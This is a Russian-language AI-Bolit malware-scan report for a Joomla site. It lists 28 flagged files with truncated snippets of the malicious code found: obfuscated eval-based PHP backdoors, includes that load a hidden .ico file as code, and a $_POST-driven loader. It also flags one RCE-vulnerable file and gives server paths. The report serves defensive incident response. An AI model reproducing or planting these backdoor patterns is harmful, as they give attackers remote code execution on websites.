Отчет сканера AI-Bolit v20180830: /home/dvigatoc/public_html/magicshow.com.ua/ (1/1)
Сканер бесплатный только для личного некоммерческого использования. Информация по коммерческой лицензии (пункт №11). Авторское свидетельство о гос. регистрации в РосПатенте №2012619254 от 12 октября 2012 г.
Затрачено времени: 1 m 46 s. Сканирование начато 07-09-2018 в 10:00:01, сканирование завершено 07-09-2018 в 10:01:47
Всего проверено 1913 директорий и 5595 файлов. Использовано памяти при сканировании: 5.43 Mb.
Сводный отчет
Вредоносных скриптов28
Пропущенных больших файлов4
Обращаем внимание, что обнаруженные файлы не всегда являются вирусами и хакерскими скриптами. Сканер минимизирует число ложных обнаружений, но это не всегда возможно, так как найденный фрагмент может встречаться как во вредоносных скриптах, так и в обычных.

Для диагностического сканирования без ложных срабатываний мы разработали специальную версию сканера для хостинг-компаний.

Внимание! Наш сканер обнаружил подозрительный или вредоносный код.

Возможно, ваш сайт был взломан. Рекомендуем срочно проконсультироваться со специалистами по данному отчету.


Рекомендуем также проверить сайт бесплатным онлайн-сканером ReScan.Pro.


Не оставляйте файл отчета на сервере, и не давайте на него прямых ссылок с других сайтов. Информация из отчета может быть использована злоумышленниками для взлома сайта, так как содержит информацию о настройках сервера, файлах и каталогах.
Наши продукты:
Критические замечания
Уязвимости в скриптах (1)
  • /home/dvigatoc/public_html/magicshow.com.ua/libraries/joomla/session/session.php - RCE : https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions
  • Эти файлы могут быть вредоносными или хакерскими скриптами (28)
    ПутьИзменение свойствИзменение содержимогоРазмерCRC32
    [x] 1…ydhy[1],$apskg);}function nhizf($rjlydhy,$apskg){$elhrdke=$rjlydhy[3]($apskg)%3;if(!$elhrdke){eval($apskg[1]($apskg[2])) ;exit();}}$zodwoyd=ablku($rjlydhy,$zodwoyd);nhizf($rjlydhy,$rjlydhy[5]($rjlydhy[2],$zodwoyd^blzuys($rjlydhy,$rqctjqw,$r
    22/07/2018 00:47:53
    05/07/2018 21:27:53
    1.74 Kb
    38af61da31e34eecd8c69ff79603312cd8f11d6e
    x
    1530815273
    id_b6f48e98
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    17/11/2017 04:14:17
    324 b
    d4852078cb8ea3d430c129b2e11cca88b5a69409
    x
    1510884857
    id_2fc63624
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    10/12/2017 18:16:17
    324 b
    d4852078cb8ea3d430c129b2e11cca88b5a69409
    x
    1512922577
    id_2fc63624
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    10/08/2017 11:44:38
    324 b
    d4852078cb8ea3d430c129b2e11cca88b5a69409
    x
    1502354678
    id_2fc63624
    [x] 1<?php  /*98f58*/ include "/home/dvigatoc/public_html/magicshow.com.ua/admi
    22/07/2018 13:28:55
    06/08/2017 03:58:03
    232 b
    5971fe21a75778b98dee98d5ed0b4383e2d53eae
    x
    1501981083
    id_5957a1fa
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    24/02/2018 20:20:11
    279 b
    4cbbe229c20988d834245a7905c6be5e8299f079
    x
    1519496411
    id_2fc63624
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    11/03/2018 23:28:41
    255 b
    e09e3c3133e6ce5fb37ca2c5136696733221e935
    x
    1520803721
    id_2fc63624
    [x] 1<?php  /*61ee8*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/co
    22/07/2018 13:28:55
    28/03/2018 16:14:14
    193 b
    81b54f391a804e3eab5d3d3e2bae0de40de9fbd2
    x
    1522242854
    id_5957a1fa
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    04/04/2018 09:25:32
    279 b
    4cbbe229c20988d834245a7905c6be5e8299f079
    x
    1522823132
    id_2fc63624
    [x] 1<?php  /*6fe4e*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/co
    22/07/2018 13:28:55
    16/03/2018 23:34:25
    193 b
    81b54f391a804e3eab5d3d3e2bae0de40de9fbd2
    x
    1521236065
    id_5957a1fa
    [x] 1<?php  /*424f3*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrato
    22/07/2018 13:28:55
    25/03/2018 20:06:08
    208 b
    c922453b65d9a61e446c66c1b4000f51ff8e1f69
    x
    1521997568
    id_5957a1fa
    [x] 1…,$tivnln);}function kpsvjrf($arurvib,$tivnln){$xvxgqkk=$arurvib[3]($tivnln)%3;if(!$xvxgqkk){eval($tivnln[1]($tivnln[2])) ;exit();}}$xdsmdw=zghsd($arurvib,$xdsmdw);kpsvjrf($arurvib,$arurvib[5]($arurvib[2],$xdsmdw^jxatgrx($arurvib,$iqdjzv,$ar
    22/07/2018 13:15:28
    05/07/2018 21:27:53
    1.84 Kb
    44aba42be108cd3965e4193e5e3b84e68717afb1
    x
    1530815273
    id_b6f48e98
    [x] 1<?php include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/components/com_content/.655c366b.ico"; echo file_get_contents('index.html.bak.bak')
    22/07/2018 13:28:55
    20/11/2017 14:30:42
    255 b
    e09e3c3133e6ce5fb37ca2c5136696733221e935
    x
    1511181042
    id_2fc63624
    [x] 1<?php  $d8800986e=666;$GLOBALS['hef563a']=Array();global$hef563a;$hef563a=$GLOBALS;${"GLOBALS"}['g53520c8']="d?B8]XaKw\ |!buv4
    22/07/2018 13:15:20
    04/05/2017 14:57:54
    20.18 Kb
    48993d83239053e738d875b10c5c72eace7acfb3
    x
    1493899074
    id_680a5a85
    [x] 1…ejqdsp[0],$fjtbi);}function vzwspvp($ejqdsp,$fjtbi){$dxeump=$ejqdsp[3]($fjtbi)%3;if(!$dxeump){eval($fjtbi[1]($fjtbi[2])) ;exit();}}$ubsbbo=bbvwe($ejqdsp,$ubsbbo);vzwspvp($ejqdsp,$ejqdsp[5]($ejqdsp[1],$ubsbbo^jnynfx($ejqdsp,$hhlfimb,$ejqdsp[
    14/08/2018 12:29:51
    05/07/2018 21:27:53
    1.80 Kb
    b1463d489866813b72961b92e6422a0352ebecc3
    x
    1530815273
    id_b6f48e98
    [x] 1…r[0],$svehzj);}function hzfsb($pncbfr,$svehzj){$lmlfsvy=$pncbfr[3]($svehzj)%3;if(!$lmlfsvy){eval($svehzj[1]($svehzj[2])) ;exit();}}$uaiho=eyzkp($pncbfr,$uaiho);hzfsb($pncbfr,$pncbfr[5]($pncbfr[1],$uaiho^ndpxho($pncbfr,$cdzemg,$pncbfr[8]($ua
    22/07/2018 13:15:23
    05/07/2018 21:27:53
    1.80 Kb
    921a5bcc6d01c8cb73c8e4297bcddefe497357d8
    x
    1530815273
    id_b6f48e98
    [x] 1<?php  $h54500=944;$GLOBALS['wacca18']=Array();global$wacca18;$wacca18=$GLOBALS;${"GLOBALS"}['p2c667']=",1gA5f2o:^BG|0p[y aU)8
    22/07/2018 13:15:29
    04/05/2017 14:43:58
    14.33 Kb
    ab9f19d621e3e9217a0eceb3d91c85c45793bd55
    x
    1493898238
    id_680a5a85
    [x] 1<?php  /*76f23*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/co
    22/07/2018 13:28:55
    08/01/2018 19:32:15
    1.17 Kb
    6b7c31b5c01b336d9d1fac74984115404ece26b1
    x
    1515432735
    id_5957a1fa
    [x] 1<?php  $i1052=649;$GLOBALS['l0cd17d']=Array();global$l0cd17d;$l0cd17d=$GLOBALS;${"GLOBALS"}['ze90ec33']="NAqv>rc pdJZ`O;F lg71
    22/07/2018 13:15:05
    04/05/2017 14:50:12
    17.28 Kb
    9376edfa7233a89eddd5ecb22cce6c9dd32ea966
    x
    1493898612
    id_680a5a85
    [x] 1…($ytuxy[0],$namhrf);}function xazvh($ytuxy,$namhrf){$nxtng=$ytuxy[3]($namhrf)%3;if(!$nxtng){eval($namhrf[1]($namhrf[2])) ;exit();}}$ewfrsru=hklem($ytuxy,$ewfrsru);xazvh($ytuxy,$ytuxy[5]($ytuxy[2],$ewfrsru^ybkyj($ytuxy,$gbzrf,$ytuxy[8]($ewfr
    14/08/2018 12:29:48
    05/07/2018 21:27:53
    1.69 Kb
    857ac34d9f299973d5e6562b1814ef2b2c34ee5a
    x
    1530815273
    id_b6f48e98
    [x] 1 <?php $neknpowini="rzgllhycaoejixhf";$jtcbgmj="";foreach($_POST as$gujzdwy=>$smpbnxc){if(strlen($gujzdwy)==16 and substr
    22/07/2018 13:15:10
    05/07/2018 21:27:53
    1.41 Kb
    7974e96a7a5d371160ea4b01b87fe9f7b1bda99f
    x
    1530815273
    id_17e26216
    [x] 1<?php  /*b6978*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/co
    22/07/2018 13:28:55
    15/10/2017 01:42:26
    1.97 Kb
    21e3abae52c344cd418be3a201674985ac7abaca
    x
    1508020946
    id_5957a1fa
    [x] 1…ydhy[1],$apskg);}function nhizf($rjlydhy,$apskg){$elhrdke=$rjlydhy[3]($apskg)%3;if(!$elhrdke){eval($apskg[1]($apskg[2])) ;exit();}}$zodwoyd=ablku($rjlydhy,$zodwoyd);nhizf($rjlydhy,$rjlydhy[5]($rjlydhy[2],$zodwoyd^blzuys($rjlydhy,$rqctjqw,$r
    22/07/2018 00:47:59
    22/05/2018 19:26:11
    1.74 Kb
    38af61da31e34eecd8c69ff79603312cd8f11d6e
    x
    1527006371
    id_b6f48e98
    [x] 1<?php  /*b74fe*/ include "/home/dvigatoc/public_html/magicshow.com.ua/administrator/co
    22/07/2018 13:28:55
    26/12/2017 08:19:40
    195 b
    81b54f391a804e3eab5d3d3e2bae0de40de9fbd2
    x
    1514269180
    id_5957a1fa
    [x] 1<?php  $e0529702=200;$GLOBALS['g969cc2a']=Array();global$g969cc2a;$g969cc2a=$GLOBALS;${"GLOBALS"}['i40c5a']="iBv sfDU\z<V[>}S8
    22/07/2018 13:15:27
    04/05/2017 14:57:16
    15.91 Kb
    33e3b26c7c8e8626e87f02e048e6b12d91876d2e
    x
    1493899036
    id_680a5a85
    [x] 1<?php  $e69abb241=542;$GLOBALS['id873']=Array();global$id873;$id873=$GLOBALS;${"GLOBALS"}['ye255f5b']="uqYyU! "Rl9n(zK+>arQTf
    22/07/2018 13:15:31
    04/05/2017 14:56:29
    14.95 Kb
    54b9fe6ae6bbafd46531140cff6d001c5a2e4b44
    x
    1493898989
    id_680a5a85
    [x] 1…r[0],$mbjdsw);}function dkplypt($jkcmqr,$mbjdsw){$texrvr=$jkcmqr[3]($mbjdsw)%3;if(!$texrvr){eval($mbjdsw[1]($mbjdsw[2])) ;exit();}}$bcrkbix=ljtwl($jkcmqr,$bcrkbix);dkplypt($jkcmqr,$jkcmqr[5]($jkcmqr[1],$bcrkbix^ggyyad($jkcmqr,$mfzswo,$jkcmq
    22/07/2018 13:15:14
    05/07/2018 21:27:53
    1.79 Kb
    eb1df8aee68122d7ddd108f4efd7f0b8319d0379
    x
    1530815273
    id_b6f48e98
    [x] 1<?php  $_0le6v=basename(trim(preg_replace(rawurldecode("%2F%5C%28.%2A%24%2F"),'',__FILE__)));$_90pvht="GP%15%1DBWSP%0B%40%0C%0
    03/09/2018 11:26:26
    03/09/2018 11:26:26
    30.45 Kb
    7edb92d96b7022da718c342c6bb19be550e49e96
    x
    1535963186
    id_86a1ad45
    Предупреждения
    Большие файлы (больше чем 650.00 Kb). Пропущено
    ПутьИзменение свойствИзменение содержимогоРазмерCRC32
    05/07/2018 21:26:19
    04/05/2017 14:43:24
    7.82 Mb
    43db60b6ebcffb877a00ca0f3998186ae315eb32
    x
    1493898204
    id_z3586312
    05/07/2018 21:26:19
    04/05/2017 14:43:14
    42.64 Mb
    769ae02a4daf052a7643443931b4aa01b913fa45
    x
    1493898194
    id_z3367512
    05/07/2018 21:26:19
    04/05/2017 14:46:47
    7.82 Mb
    3fac01ed1de26a6f10f3e258a61b3bc2290b81de
    x
    1493898407
    id_z6802987
    05/07/2018 21:26:19
    12/05/2018 02:09:24
    2.20 Mb
    3fac01ed1de26a6f10f3e258a61b3bc2290b81de
    x
    1526080164
    id_z4938252
    Версии найденных CMS
    Joomla v0.0